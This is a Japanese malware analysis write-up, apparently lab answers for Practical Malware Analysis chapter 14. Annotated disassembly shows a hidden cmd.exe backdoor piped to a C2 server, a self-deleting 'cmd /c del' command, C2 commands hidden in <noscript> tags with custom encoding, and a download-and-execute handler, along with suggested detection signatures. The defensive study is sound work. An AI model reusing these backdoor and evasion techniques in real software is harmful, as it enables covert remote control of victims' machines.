.text:00401557 89 54 24 18             mov     [esp+1Ch+BytesRead], edx
.text:0040155B E8 A0 FA FF FF          call    CustomBase64_401000
.text:00401560 8D 53 14                lea     edx, [ebx+14h]
.text:00401563 52                      push    edx             ; lpszUrl
.text:00401564 55                      push    ebp             ; int
.text:00401565 E8 E6 01 00 00          call    Beacon_encrypted_UA_401750

cmd.exeを起動する際、画面サイズがゼロに設定されているため、コマンドプロンプトの画面は立ち上がらない。
以下のコードはcmd.exe起動時の画面設定を行っている。この時、ebpの値はゼロになっているため、ほとんどの設定パラメーターにゼロ(またはNull)が指定されることになる。

.text:00401282 C7 44 24 44 44 00 00 00 mov     [esp+1A8h+StartupInfo.cb], 44h
.text:0040128A 89 6C 24 48             mov     [esp+1A8h+StartupInfo.lpReserved], ebp
.text:0040128E 8B 44 24 10             mov     eax, [esp+1A8h+hWritePipe]
.text:00401292 89 6C 24 50             mov     [esp+1A8h+StartupInfo.lpTitle], ebp
.text:00401296 89 6C 24 4C             mov     [esp+1A8h+StartupInfo.lpDesktop], ebp
.text:0040129A 89 6C 24 60             mov     [esp+1A8h+StartupInfo.dwYSize], ebp ; window height set to zero
.text:0040129E 89 6C 24 5C             mov     [esp+1A8h+StartupInfo.dwXSize], ebp ; window width set to zero
.text:004012A2 89 6C 24 58             mov     [esp+1A8h+StartupInfo.dwY], ebp
.text:004012A6 89 6C 24 54             mov     [esp+1A8h+StartupInfo.dwX], ebp
.text:004012AA 66 89 6C 24 74          mov     [esp+1A8h+StartupInfo.wShowWindow], bp
.text:004012AF 89 6C 24 78             mov     [esp+1A8h+StartupInfo.lpReserved2], ebp
.text:004012B3 66 89 6C 24 76          mov     [esp+1A8h+StartupInfo.cbReserved2], bp
.text:004012B8 C7 44 24 70 01 01 00 00 mov     [esp+1A8h+StartupInfo.dwFlags], 101h
.text:004012C0 89 84 24 84 00 00 00    mov     [esp+1A8h+StartupInfo.hStdError], eax ; standard error is set to writepipe
.text:004012C7 89 84 24 80 00 00 00    mov     [esp+1A8h+StartupInfo.hStdOutput], eax ; standard output is set to writepipe
.text:004012FD BF 54 30 40 00          mov     edi, offset aCmdExe ; "cmd.exe"
.text:00401302 83 C9 FF                or      ecx, 0FFFFFFFFh
.text:00401305 33 C0                   xor     eax, eax
.text:00401307 8D 94 24 98 00 00 00    lea     edx, [esp+1A8h+CommandLine]
.text:0040130E F2 AE                   repne scasb
.text:00401310 F7 D1                   not     ecx
.text:00401312 2B F9                   sub     edi, ecx
.text:00401314 8B C1                   mov     eax, ecx
.text:00401316 8B F7                   mov     esi, edi
.text:00401318 8B FA                   mov     edi, edx
.text:0040131A 8D 54 24 44             lea     edx, [esp+1A8h+StartupInfo]
.text:0040131E C1 E9 02                shr     ecx, 2
.text:00401321 F3 A5                   rep movsd
.text:00401323 8B C8                   mov     ecx, eax
.text:00401325 8D 84 24 98 00 00 00    lea     eax, [esp+1A8h+CommandLine]
.text:0040132C 83 E1 03                and     ecx, 3
.text:0040132F F3 A4                   rep movsb
.text:00401331 8D 8C 24 88 00 00 00    lea     ecx, [esp+1A8h+ProcessInformation]
.text:00401338 51                      push    ecx             ; lpProcessInformation
.text:00401339 52                      push    edx             ; lpStartupInfo every window setting is set to zero, equivalent to hidden window.
.text:0040133A 55                      push    ebp             ; lpCurrentDirectory
.text:0040133B 55                      push    ebp             ; lpEnvironment
.text:0040133C 55                      push    ebp             ; dwCreationFlags
.text:0040133D 6A 01                   push    1               ; bInheritHandles
.text:0040133F 55                      push    ebp             ; lpThreadAttributes
.text:00401340 55                      push    ebp             ; lpProcessAttributes
.text:00401341 50                      push    eax             ; lpCommandLine
.text:00401342 55                      push    ebp             ; lpApplicationName
.text:00401343 FF 15 1C 20 40 00       call    ds:CreateProcessA ; start cmd.exe with hidden window

C2サーバーへの一度目の通信が完了すると、マルウェアは再びC2サーバーへHTTPリクエストを送信して、サーバーからの応答を待つ。この際に使用されるユーザーエージェントはInternet Surfである。

.text:004013C5 8D 4C 24 1C             lea     ecx, [esp+1A8h+ThreadId]
.text:004013C9 8D 54 24 20             lea     edx, [esp+1A8h+ThreadAttributes]
.text:004013CD 51                      push    ecx             ; lpThreadId
.text:004013CE 55                      push    ebp             ; dwCreationFlags
.text:004013CF 53                      push    ebx             ; lpParameter
.text:004013D0 68 C0 15 40 00          push    offset Recv_from_C2_4015C0 ; lpStartAddress
.text:004013D5 55                      push    ebp             ; dwStackSize
.text:004013D6 52                      push    edx             ; lpThreadAttributes
.text:004013D7 FF D7                   call    edi ; CreateThread ; Lab14-02.exe receives command from C2 server
.text:00401803 6A 00                   push    0               ; dwFlags
.text:00401805 6A 00                   push    0               ; lpszProxyBypass
.text:00401807 6A 00                   push    0               ; lpszProxy
.text:00401809 6A 00                   push    0               ; dwAccessType
.text:0040180B 68 6C 30 40 00          push    offset szAgent  ; "Internet Surf"
.text:00401810 FF 15 DC 20 40 00       call    ds:InternetOpenA
.text:00401816 6A 00                   push    0               ; dwContext
.text:00401818 8B E8                   mov     ebp, eax
.text:0040181A 8B 44 24 14             mov     eax, [esp+10h+lpszUrl]
.text:0040181E 68 00 00 00 80          push    80000000h       ; dwFlags
.text:00401823 6A 00                   push    0               ; dwHeadersLength
.text:00401825 6A 00                   push    0               ; lpszHeaders
.text:00401827 50                      push    eax             ; lpszUrl
.text:00401828 55                      push    ebp             ; hInternet
.text:00401829 FF 15 D8 20 40 00       call    ds:InternetOpenUrlA

---

.text:00401855 8D 4C 24 10             lea     ecx, [esp+14h+dwNumberOfBytesRead]
.text:00401859 89 44 24 10             mov     [esp+14h+dwNumberOfBytesRead], eax
.text:0040185D 51                      push    ecx             ; lpdwNumberOfBytesRead
.text:0040185E 68 FF 00 00 00          push    0FFh            ; dwNumberOfBytesToRead
.text:00401863 56                      push    esi             ; lpBuffer
.text:00401864 53                      push    ebx             ; hFile
.text:00401865 FF 15 E0 20 40 00       call    ds:InternetReadFile
.text:0040186B 8B 3D D4 20 40 00       mov     edi, ds:InternetCloseHandle
.text:00401871 53                      push    ebx             ; hInternet
.text:00401872 FF D7                   call    edi ; InternetCloseHandle
.text:00401874 55                      push    ebp             ; hInternet
.text:00401875 FF D7                   call    edi ; InternetCloseHandle

C2サーバーからの応答データにexitというコマンドが含まれていた場合、マルウェアは自身を終了する。

.text:00401670 33 C0                   xor     eax, eax
.text:00401672 6A 04                   push    4               ; MaxCount
.text:00401674 F2 AE                   repne scasb
.text:00401676 F7 D1                   not     ecx
.text:00401678 2B F9                   sub     edi, ecx
.text:0040167A 68 60 30 40 00          push    offset Str      ; "exit"
.text:0040167F 8B C1                   mov     eax, ecx
.text:00401681 8B F7                   mov     esi, edi
.text:00401683 8B FA                   mov     edi, edx
.text:00401685 53                      push    ebx             ; Str1
.text:00401686 C1 E9 02                shr     ecx, 2
.text:00401689 F3 A5                   rep movsd
.text:0040168B 8B C8                   mov     ecx, eax
.text:0040168D 83 E1 03                and     ecx, 3
.text:00401690 F3 A4                   rep movsb
.text:00401692 E8 61 03 00 00          call    _strnicmp       ; check if received C2 command is "exit"
.text:00401697 83 C4 0C                add     esp, 0Ch
.text:0040169A 85 C0                   test    eax, eax
.text:0040169C 0F 84 82 00 00 00       jz      loc_401724      ; exits if received C2 command is "exit"

.text:00401724                         loc_401724:
.text:00401724 8B 15 A0 30 40 00       mov     edx, hEvent
.text:0040172A 52                      push    edx             ; hEvent
.text:0040172B FF 15 3C 20 40 00       call    ds:SetEvent
.text:00401731 55                      push    ebp             ; Memory
.text:00401732 E8 A9 02 00 00          call    free
.text:00401737 83 C4 04                add     esp, 4
.text:0040173A 6A 00                   push    0               ; dwExitCode
.text:0040173C FF 15 30 20 40 00       call    ds:ExitThread
.text:0040173C                         Recv_from_C2_4015C0 endp

それ以外の応答データを受信した場合は、受信データに改行文字 (\n) を加えてcmd.exeの標準入力に書き込む。

.text:004015F9 68 18 01 00 00          push    280             ; Size
.text:004015FE 89 54 24 1C             mov     [esp+24h+var_8], edx
.text:00401602 E8 DF 03 00 00          call    malloc
.text:00401607 8B 74 24 28             mov     esi, [esp+24h+lpThreadParameter]
.text:0040160B 8B E8                   mov     ebp, eax
.text:004016A2 BF 5C 30 40 00          mov     edi, offset asc_40305C ; "\n"
.text:004016A7 83 C9 FF                or      ecx, 0FFFFFFFFh
.text:004016AA 33 C0                   xor     eax, eax
.text:004016AC F2 AE                   repne scasb             ; strlen
.text:004016AE F7 D1                   not     ecx
.text:004016B0 2B F9                   sub     edi, ecx
.text:004016B2 50                      push    eax             ; lpOverlapped
.text:004016B3 8B F7                   mov     esi, edi
.text:004016B5 8B D1                   mov     edx, ecx
.text:004016B7 8B FB                   mov     edi, ebx
.text:004016B9 83 C9 FF                or      ecx, 0FFFFFFFFh
.text:004016BC F2 AE                   repne scasb             ; strlen
.text:004016BE 8B CA                   mov     ecx, edx
.text:004016C0 4F                      dec     edi
.text:004016C1 C1 E9 02                shr     ecx, 2
.text:004016C4 F3 A5                   rep movsd               ; memcpy
.text:004016C6 8B CA                   mov     ecx, edx
.text:004016C8 83 E1 03                and     ecx, 3
.text:004016CB F3 A4                   rep movsb               ; memcpy
.text:004016CD 8B FB                   mov     edi, ebx
.text:004016CF 83 C9 FF                or      ecx, 0FFFFFFFFh
.text:004016D2 F2 AE                   repne scasb             ; strlen
.text:004016D4 F7 D1                   not     ecx
.text:004016D6 8D 44 24 18             lea     eax, [esp+1Ch+NumberOfBytesWritten]
.text:004016DA 49                      dec     ecx
.text:004016DB 50                      push    eax             ; lpNumberOfBytesWritten
.text:004016DC 51                      push    ecx             ; nNumberOfBytesToWrite
.text:004016DD 8B 4D 04                mov     ecx, [ebp+4]
.text:004016E0 53                      push    ebx             ; lpBuffer C2 response payload + "\n"
.text:004016E1 51                      push    ecx             ; hFile 
.text:004016E2 FF 15 40 20 40 00       call    ds:WriteFile

マルウェアがC2サーバーとの通信を終了する条件は以下の通り。

  • C2サーバーへのデータ送信用のスレッドの実行に失敗した場合。
  • C2サーバーからのデータ受信用のスレッドの実行に失敗した場合。
  • C2サーバーからexitというコマンドを受信した場合。
  • C2サーバーから何もデータを受信しなかった場合。
  • 上述したC2データの送受信用のスレッドのいずれかがシグナル状態になった場合。

C2サーバーとの通信が完了すると、マルウェアは以下のコマンドを実行して、自身をディスクから削除しようとする。この処理はサブルーチン0x401880にて規定されている。

\path\to\cmd.exe /c del \path\to\Lab14-02.exe > nul

.text:0040139E 55                      push    ebp             ; dwExitCode
.text:0040139F 55                      push    ebp             ; hThread
.text:004013A0 FF 15 10 20 40 00       call    ds:TerminateThread
.text:004013A6 E8 D5 04 00 00          call    Delete_Lab14_02_exe_401880
.text:004018C9 68 04 01 00 00          push    104h            ; nSize
.text:004018CE 50                      push    eax             ; lpBuffer
.text:004018CF 68 94 30 40 00          push    offset Name     ; "COMSPEC"
.text:004018D4 FF 15 5C 20 40 00       call    ds:GetEnvironmentVariableA ; retrieve path to cmd.exe
.text:004018DA 85 C0                   test    eax, eax
.text:004018DC 0F 84 EE 00 00 00       jz      loc_4019D0

.text:004018E2 8D 8C 24 50 01 00 00    lea     ecx, [esp+358h+String1]
.text:004018E9 68 8C 30 40 00          push    offset String2  ; "/c del "
.text:004018EE 51                      push    ecx             ; lpString1
.text:004018EF FF 15 58 20 40 00       call    ds:lstrcpyA
.text:004018F5 8B 35 54 20 40 00       mov     esi, ds:lstrcatA
.text:004018FB 8D 54 24 4C             lea     edx, [esp+358h+Filename]
.text:004018FF 8D 84 24 50 01 00 00    lea     eax, [esp+358h+String1]
.text:00401906 52                      push    edx             ; lpString2 \path\to\Lab14-02.exe
.text:00401907 50                      push    eax             ; lpString1 "/c del "
.text:00401908 FF D6                   call    esi ; lstrcatA
.text:0040190A 8D 8C 24 50 01 00 00    lea     ecx, [esp+358h+String1]
.text:00401911 68 84 30 40 00          push    offset aNul     ; " > nul"
.text:00401916 51                      push    ecx             ; lpString1 "/c del \path\to\Lab14-02.exe"
.text:00401917 FF D6                   call    esi ; lstrcatA
.text:00401919 89 7C 24 18             mov     [esp+358h+pExecInfo.hwnd], edi
.text:0040191D 8D 94 24 54 02 00 00    lea     edx, [esp+358h+Buffer] ; "\path\to\cmd.exe"
.text:00401924 8D 84 24 50 01 00 00    lea     eax, [esp+358h+String1] ; "/c del \path\to\Lab14-02.exe > nul"
.text:0040192B 89 7C 24 28             mov     [esp+358h+pExecInfo.lpDirectory], edi
.text:0040192F 89 7C 24 2C             mov     [esp+358h+pExecInfo.nShow], edi
.text:00401933 8B 3D 24 20 40 00       mov     edi, ds:GetCurrentProcess
.text:00401939 68 00 01 00 00          push    100h            ; dwPriorityClass
.text:0040193E C7 44 24 14 3C 00 00 00 mov     [esp+35Ch+pExecInfo.cbSize], 3Ch
.text:00401946 C7 44 24 20 7C 30 40 00 mov     [esp+35Ch+pExecInfo.lpVerb], offset aOpen ; "Open"
.text:0040194E 89 54 24 24             mov     [esp+35Ch+pExecInfo.lpFile], edx ; "\path\to\cmd.exe"
.text:00401952 89 44 24 28             mov     [esp+35Ch+pExecInfo.lpParameters], eax ; "/c del \path\to\Lab14-02.exe > nul"
.text:00401956 C7 44 24 18 40 00 00 00 mov     [esp+35Ch+pExecInfo.fMask], 40h
.text:0040195E FF D7                   call    edi ; GetCurrentProcess
.text:00401960 8B 35 50 20 40 00       mov     esi, ds:SetPriorityClass
.text:00401966 50                      push    eax             ; hProcess
.text:00401967 FF D6                   call    esi ; SetPriorityClass
.text:00401969 8B 1D 4C 20 40 00       mov     ebx, ds:GetCurrentThread
.text:0040196F 6A 0F                   push    0Fh             ; nPriority
.text:00401971 FF D3                   call    ebx ; GetCurrentThread
.text:00401973 8B 2D 48 20 40 00       mov     ebp, ds:SetThreadPriority
.text:00401979 50                      push    eax             ; hThread
.text:0040197A FF D5                   call    ebp ; SetThreadPriority
.text:0040197C 8D 4C 24 10             lea     ecx, [esp+358h+pExecInfo]
.text:00401980 51                      push    ecx             ; pExecInfo Open
.text:00401981 FF 15 C4 20 40 00       call    ds:ShellExecuteExA ; execute the command "\path\to\cmd.exe /c del \path\to\Lab14-02.exe > nul"

以上の分析から、Lab14-02.exeはcmd.exeを介してC2サーバーからのコマンドを受信・実行するバックドアであると考えられる。

Lab 14-3

解析対象のファイルは以下の通り。

ファイル名ファイルの種類MD5ハッシュ値
Lab14-03.exe32ビット EXE6B2F645881BED988D32C4F7241F3A8DD

1. What hard-coded elements are used in the initial beacon? What elements, if any, would make a good signature?

このマルウェアには以下のURLやHTTPのリクエスト・ヘッダーがハードコードされていた。

00008038  User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
000080A4  Accept: */*
000080B0  Accept-Language: en-US
000080C7  UA-CPU: x86
000080D3  Accept-Encoding: gzip, deflate
0000811C  http://www.practicalmalwareanalysis.com/start.htm

マルウェアを実行したところ、サーバーへのHTTPリクエストに上述したURLやヘッダーが使用されているのを確認した。

GET /start.htm HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: www.practicalmalwareanalysis.com
Cache-Control: no-cache

上記のHTTPリクエストにはユーザーエージェント・ヘッダーが2つ存在している。これは正規のHTTPリクエストの構造からは逸脱しており、検知シグネチャには誂え向きである。

  • User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

UA-CPUヘッダーも通常のHTTP通信ではあまり用いられないので、検知シグネチャの対象としては適当である。

  • UA-CPU: x86

2. What elements of the initial beacon may not be conducive to a long lasting signature?

以下のHTTPヘッダーは通常のHTTPリクエストに頻繁に登場するので、検知シグネチャの対象としては適当ではない。

Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cache-Control: no-cache

ドメイン名www.practicalmalwareanalysis[.]comやURLパス/start.htmは検知シグネチャとして一定の効果があるが、攻撃者が将来的にドメインやURLパスを変更する可能性があるので、ドメイン名やURLパスを対象としたシグネチャのみの運用は避けるべきである。

3. How does this malware obtain commands? What example from the chapter used a similar methodology? What are the advantages of this technique?

このマルウェアはまずC:\autobat.exeというファイルを作成する。このファイルは実際にはhttp://www.practicalmalwareanalysis[.]com/start.htm というURLが記述されているテキストファイルで、マルウェアはこのテキストファイルを読み込んで通信先のURLを決定する。マルウェアはC:\autobat.exeに記述されているURLにHTTPリクエストを送信し、サーバーからのレスポンス・データからコマンドを受け取って実行する。

.text:00401771 68 00 02 00 00          push    200h
.text:00401776 6A 00                   push    0
.text:00401778 8D 85 F8 FB FF FF       lea     eax, [ebp+Buffer]
.text:0040177E 50                      push    eax
.text:0040177F E8 8C 03 00 00          call    sub_401B10
.text:00401784 83 C4 0C                add     esp, 0Ch
.text:00401787 68 00 02 00 00          push    200h            ; int
.text:0040178C 8D 8D F8 FB FF FF       lea     ecx, [ebp+Buffer]
.text:00401792 51                      push    ecx             ; lpBuffer
.text:00401793 E8 BF FC FF FF          call    CreateRead_C2_config_401457
.text:004017A9 8D 95 FC FD FF FF       lea     edx, [ebp+var_204]
.text:004017AF 52                      push    edx             ; int
.text:004017B0 8D 85 F8 FB FF FF       lea     eax, [ebp+Buffer]
.text:004017B6 50                      push    eax             ; lpszUrl
.text:004017B7 E8 37 FA FF FF          call    Get_command_4011F3
.text:004017BC 83 C4 08                add     esp, 8
.text:004017BF 85 C0                   test    eax, eax
.text:004017C1 74 19                   jz      short loc_4017DC

.text:004017C3 8D 8D F8 FD FF FF       lea     ecx, [ebp+var_208]
.text:004017C9 51                      push    ecx
.text:004017CA 8D 95 FC FD FF FF       lea     edx, [ebp+var_204]
.text:004017D0 52                      push    edx
.text:004017D1 E8 AE FE FF FF          call    Exec_command_401684
.text:004017D6 83 C4 08                add     esp, 8
.text:004017D9 89 45 FC                mov     [ebp+var_4], eax

サブルーチン0x4011F3はサーバーからのレスポンス・データに<noscript>というHTMLタグが含まれているか確認し、含まれていた場合はレスポンス・データからコマンドを抽出する。

コマンドのやり取りにHTMLタグを利用する方法は、Chapter 3のLab03-02.dllやChapter 6のLab06-02.exe、Lab06-03.exe、Lab06-04.exeでも見られた。

C2サーバーとの通信に設定ファイルを利用する利点として、設定ファイルのURLを変更すれば容易に通信先のC2サーバーを変更できる点が挙げられる。通信先のURLを定期的に変更することにより、通信が検知されるのを回避することができる。

4. When the malware receives input, what checks are performed on the input to determine whether it is a valid command? How does the attacker hide the list of commands the malware is searching for?

サブルーチン0x4011F3はサーバーからのレスポンス・データに<noscript>というHTMLタグが含まれているか確認し、含まれていた場合はレスポンス・データからコマンドを抽出する。

以下のコードはレスポンス・データに<noが含まれているか確認している。


.text:004012DB                         loc_4012DB:
.text:004012DB 68 F4 80 40 00          push    offset aNo      ; "<no"
.text:004012E0 8D 8D E0 F9 FF FF       lea     ecx, [ebp+Buffer]
.text:004012E6 51                      push    ecx
.text:004012E7 E8 94 05 00 00          call    strstr_401880   ; check if C2 response contains "<no"

以下のコードはレスポンス・データにnoscript>が含まれているか確認している。

.text:00401000 55                      push    ebp
.text:00401001 8B EC                   mov     ebp, esp
.text:00401003 81 EC D0 00 00 00       sub     esp, 0D0h
.text:00401009 8B 45 08                mov     eax, [ebp+arg_0]
.text:0040100C 83 C0 01                add     eax, 1
.text:0040100F 89 45 08                mov     [ebp+arg_0], eax
.text:00401012 8B 4D 08                mov     ecx, [ebp+arg_0]
.text:00401015 0F BE 51 08             movsx   edx, byte ptr [ecx+8]
.text:00401019 83 FA 3E                cmp     edx, '>'
.text:0040101C 0F 85 1F 01 00 00       jnz     loc_401141

.text:00401022 8B 45 08                mov     eax, [ebp+arg_0]
.text:00401025 0F BE 08                movsx   ecx, byte ptr [eax]
.text:00401028 83 F9 6E                cmp     ecx, 'n'
.text:0040102B 0F 85 10 01 00 00       jnz     loc_401141

.text:00401031 8B 55 08                mov     edx, [ebp+arg_0]
.text:00401034 0F BE 42 05             movsx   eax, byte ptr [edx+5]
.text:00401038 83 F8 69                cmp     eax, 'i'
.text:0040103B 0F 85 00 01 00 00       jnz     loc_401141

.text:00401041 8B 4D 08                mov     ecx, [ebp+arg_0]
.text:00401044 0F BE 51 01             movsx   edx, byte ptr [ecx+1]
.text:00401048 83 FA 6F                cmp     edx, 'o'
.text:0040104B 0F 85 F0 00 00 00       jnz     loc_401141

.text:00401051 8B 45 08                mov     eax, [ebp+arg_0]
.text:00401054 0F BE 48 04             movsx   ecx, byte ptr [eax+4]
.text:00401058 83 F9 72                cmp     ecx, 'r'
.text:0040105B 0F 85 E0 00 00 00       jnz     loc_401141

.text:00401061 8B 55 08                mov     edx, [ebp+arg_0]
.text:00401064 0F BE 42 02             movsx   eax, byte ptr [edx+2]
.text:00401068 83 F8 73                cmp     eax, 's'
.text:0040106B 0F 85 D0 00 00 00       jnz     loc_401141

.text:00401071 8B 4D 08                mov     ecx, [ebp+arg_0]
.text:00401074 0F BE 51 06             movsx   edx, byte ptr [ecx+6]
.text:00401078 83 FA 70                cmp     edx, 'p'
.text:0040107B 0F 85 C0 00 00 00       jnz     loc_401141

.text:00401081 8B 45 08                mov     eax, [ebp+arg_0]
.text:00401084 0F BE 48 03             movsx   ecx, byte ptr [eax+3]
.text:00401088 83 F9 63                cmp     ecx, 'c'

.text:0040108B 0F 85 B0 00 00 00       jnz     loc_401141
.text:00401091 8B 55 08                mov     edx, [ebp+arg_0]
.text:00401094 0F BE 42 07             movsx   eax, byte ptr [edx+7]
.text:00401098 83 F8 74                cmp     eax, 't'
.text:0040109B 0F 85 A0 00 00 00       jnz     loc_401141

文字列の検索は以下の順番で1バイトずつ行われる。そのためLab14-03.exeに単純なstringsを走らせてもnoscript>という文字は検知できない。

  • レスポンス・データの9バイト目が>と等しいか
  • レスポンス・データの1バイト目がnと等しいか
  • レスポンス・データの6バイト目がiと等しいか
  • レスポンス・データの2バイト目がoと等しいか
  • レスポンス・データの5バイト目がrと等しいか
  • レスポンス・データの3バイト目がsと等しいか
  • レスポンス・データの7バイト目がpと等しいか
  • レスポンス・データの4バイト目がcと等しいか
  • レスポンス・データの8バイト目がtと等しいか

以下のコードは<noscript>以降、最初に現れる/ (スラッシュ)を検索している。

.text:004010A1 8B 4D 0C                mov     ecx, [ebp+arg_4]
.text:004010A4 51                      push    ecx
.text:004010A5 8D 95 34 FF FF FF       lea     edx, [ebp+var_CC]
.text:004010AB 52                      push    edx
.text:004010AC E8 7F 08 00 00          call    strcpy_401930   ; copies URL to var_CC
.text:004010B1 83 C4 08                add     esp, 8
.text:004010B4 6A 2F                   push    '/'
.text:004010B6 8D 85 34 FF FF FF       lea     eax, [ebp+var_CC]
.text:004010BC 50                      push    eax
.text:004010BD E8 3E 08 00 00          call    strrchr_401900  ; Searches for last occurrence of "/" within URL.
.text:004010C2 83 C4 08                add     esp, 8
.text:004010C5 89 45 FC                mov     [ebp+var_4], eax
.text:004010C8 8B 4D FC                mov     ecx, [ebp+var_4]
.text:004010CB C6 01 00                mov     byte ptr [ecx], 0
.text:004010CE 8D 95 34 FF FF FF       lea     edx, [ebp+var_CC]
.text:004010D4 52                      push    edx
.text:004010D5 8B 45 08                mov     eax, [ebp+arg_0]
.text:004010D8 50                      push    eax
.text:004010D9 E8 A2 07 00 00          call    strstr_401880   ; check the first occurrence of "/" after "<noscript>"
.text:004010DE 83 C4 08                add     esp, 8
.text:004010E1 89 45 FC                mov     [ebp+var_4], eax
.text:004010E4 83 7D FC 00             cmp     [ebp+var_4], 0
.text:004010E8 74 57                   jz      short loc_401141

マルウェアが受け取るコマンドは/を区切り文字としてC2サーバーからのレスポンスの中に含まれている。

.text:00401684 55                      push    ebp
.text:00401685 8B EC                   mov     ebp, esp
.text:00401687 83 EC 14                sub     esp, 14h
.text:0040168A C7 45 FC 00 00 00 00    mov     [ebp+var_4], 0
.text:00401691 66 A1 54 81 40 00       mov     ax, word_408154 ; copies "/" to ax
.text:00401697 66 89 45 F8             mov     [ebp+var_8], ax ; "/" copied to var_8
.text:0040169B 8D 4D F8                lea     ecx, [ebp+var_8]
.text:0040169E 51                      push    ecx
.text:0040169F 8B 55 08                mov     edx, [ebp+arg_0]
.text:004016A2 52                      push    edx
.text:004016A3 E8 F4 04 00 00          call    strtok_401B9C   ; check the commands delimitered by "/"
.text:004016A8 83 C4 08                add     esp, 8
.text:004016AB 89 45 F0                mov     [ebp+var_10], eax ; copies extracted command to var_10
.text:004016AE 8D 45 F8                lea     eax, [ebp+var_8]

5. What type of encoding is used for command arguments? How is it different from Base64, and what advantages or disadvantages does it offer?

アドレス0x4070D8には以下の文字列が格納されている。

  • /abcdefghijklmnopqrs

アドレス0x4070ECには以下の文字列が格納されている。

  • tuvwxyz0123456789:.

これらは換字表と思われる。

1つ目の換字表/abcdefghijklmnopqrsはサブルーチン0x401147の中で参照されている。このサブルーチンはC2サーバーのレスポンスから新たな通信先のURLをデコードする。

2つ目の換字表tuvwxyz0123456789:.はサブルーチン0x402019の中で参照されている。このサブルーチンの用途は分からなかった。

これらの換字表が通常のBase64と異なる点として以下が挙げられる。

  • 大文字のアルファベットを使用しない。
  • +/ 記号の代わりに :.を使用する。

メリット

  • カスタムの換字表を利用することで、デコードの難易度を上げられる。

デメリット

  • サーバーからのレスポンスの一部が上述の換字表をもとにエンコードされているので、レスポンスのペイロードにエンコードされたデータが有るか観察することで、C2サーバーとの通信を検知することが出来る。

6. What commands are available to this malware?

  • d : C2 URLからファイルをダウンロードして実行する。(サブルーチン 0x401565)
  • n : マルウェアの終了フラグに1をセットする。(アドレス 0x4016F7)。このコマンドが送られるとマルウェアは20秒間スリープした後、終了する。
  • s : 一定時間スリープする。(サブルーチン 0x401613)
  • r : 設定ファイル (C:\autobat.exe)を更新する。(サブルーチン 0x401372)

各コマンドに対するアクションはサブルーチン0x401684内で定義されている。

以下のコードではC2サーバーのレスポンスに含まれている<noscript>タグから抽出したデータから0x64を引いて、その差が0xf (15) より大きいか確認している。もし0xfよりも大きかった場合は何のコマンドも実行されない。

.text:00401684 55                      push    ebp
.text:00401685 8B EC                   mov     ebp, esp
.text:00401687 83 EC 14                sub     esp, 14h
.text:0040168A C7 45 FC 00 00 00 00    mov     [ebp+var_4], 0
.text:00401691 66 A1 54 81 40 00       mov     ax, word_408154 ; copies "/" to ax
.text:00401697 66 89 45 F8             mov     [ebp+var_8], ax ; "/" copied to var_8
.text:0040169B 8D 4D F8                lea     ecx, [ebp+var_8]
.text:0040169E 51                      push    ecx
.text:0040169F 8B 55 08                mov     edx, [ebp+arg_0]
.text:004016A2 52                      push    edx
.text:004016A3 E8 F4 04 00 00          call    strtok_401B9C   ; check the commands delimitered by "/"
.text:004016A8 83 C4 08                add     esp, 8
.text:004016AB 89 45 F0                mov     [ebp+var_10], eax ; copies extracted command to var_10
.text:004016AE 8D 45 F8                lea     eax, [ebp+var_8]
.text:004016B1 50                      push    eax             ; "/"
.text:004016B2 6A 00                   push    0
.text:004016B4 E8 E3 04 00 00          call    strtok_401B9C   ; this returns 0 because no "/" would be found in "0"
.text:004016B9 83 C4 08                add     esp, 8
.text:004016BC 89 45 F4                mov     [ebp+dwMilliseconds], eax ; copies 0 to dwMilliseconds
.text:004016BF 8B 4D F0                mov     ecx, [ebp+var_10]
.text:004016C2 0F BE 11                movsx   edx, byte ptr [ecx]
.text:004016C5 89 55 EC                mov     [ebp+var_14], edx
.text:004016C8 8B 45 EC                mov     eax, [ebp+var_14]
.text:004016CB 83 E8 64                sub     eax, 64h
.text:004016CE 89 45 EC                mov     [ebp+var_14], eax
.text:004016D1 83 7D EC 0F             cmp     [ebp+var_14], 15 ; switch 16 cases
.text:004016D5 77 4C                   ja      short loc_401723 ; checks if extracted command is greater than "15"

<noscript>タグから抽出したデータから0x64を引いた差が0だった場合、つまり抽出したコマンドがdだった場合 ('64'.decode('hex') は d)、C2 URLからファイルをダウンロードして実行する。


.text:004016E9                         loc_4016E9:             ; jumptable 004016E2 case 0
.text:004016E9 8B 45 F4                mov     eax, [ebp+dwMilliseconds]
.text:004016EC 50                      push    eax
.text:004016ED E8 73 FE FF FF          call    DownloadNExec_401565 ; execute if command is "d"
.text:004016F2 83 C4 04                add     esp, 4
.text:004016F5 EB 2C                   jmp     short loc_401723 ; jumptable 004016E2 default case

<noscript>タグから抽出したデータから0x64を引いた差が10だった場合、つまり抽出したコマンドがnだった場合 (hex(0x64 + 10) = 0x6e、'6e'.decode('hex') = n)、マルウェアの終了フラグに1をセットする。

.text:004016F7                         loc_4016F7:             ; jumptable 004016E2 case 10
.text:004016F7 C7 45 FC 01 00 00 00    mov     [ebp+var_4], 1  ; execute if command is "n"
.text:004016FE EB 23                   jmp     short loc_401723

<noscript>タグから抽出したデータから0x64を引いた差が15だった場合、つまり抽出したコマンドがsだった場合 (hex(0x64 + 15) = 0x73、'73'.decode('hex') = s)、一定時間スリープする。

.text:00401700                         loc_401700:             ; jumptable 004016E2 case 15
.text:00401700 8B 4D F4                mov     ecx, [ebp+dwMilliseconds]
.text:00401703 51                      push    ecx             ; dwMilliseconds
.text:00401704 E8 0A FF FF FF          call    Sleep_401613    ; execute if command is "s"
.text:00401709 83 C4 04                add     esp, 4
.text:0040170C EB 15                   jmp     short loc_401723 ; jumptable 004016E2 default case

<noscript>タグから抽出したデータから0x64を引いた差が14だった場合、つまり抽出したコマンドがrだった場合  (hex(0x64 + 14) = 72、'72'.decode('hex') = r)、設定ファイル (C:\autobat.exe)を更新する。

.text:0040170E                         loc_40170E:             ; jumptable 004016E2 case 14
.text:0040170E 8B 55 F4                mov     edx, [ebp+dwMilliseconds]
.text:00401711 52                      push    edx
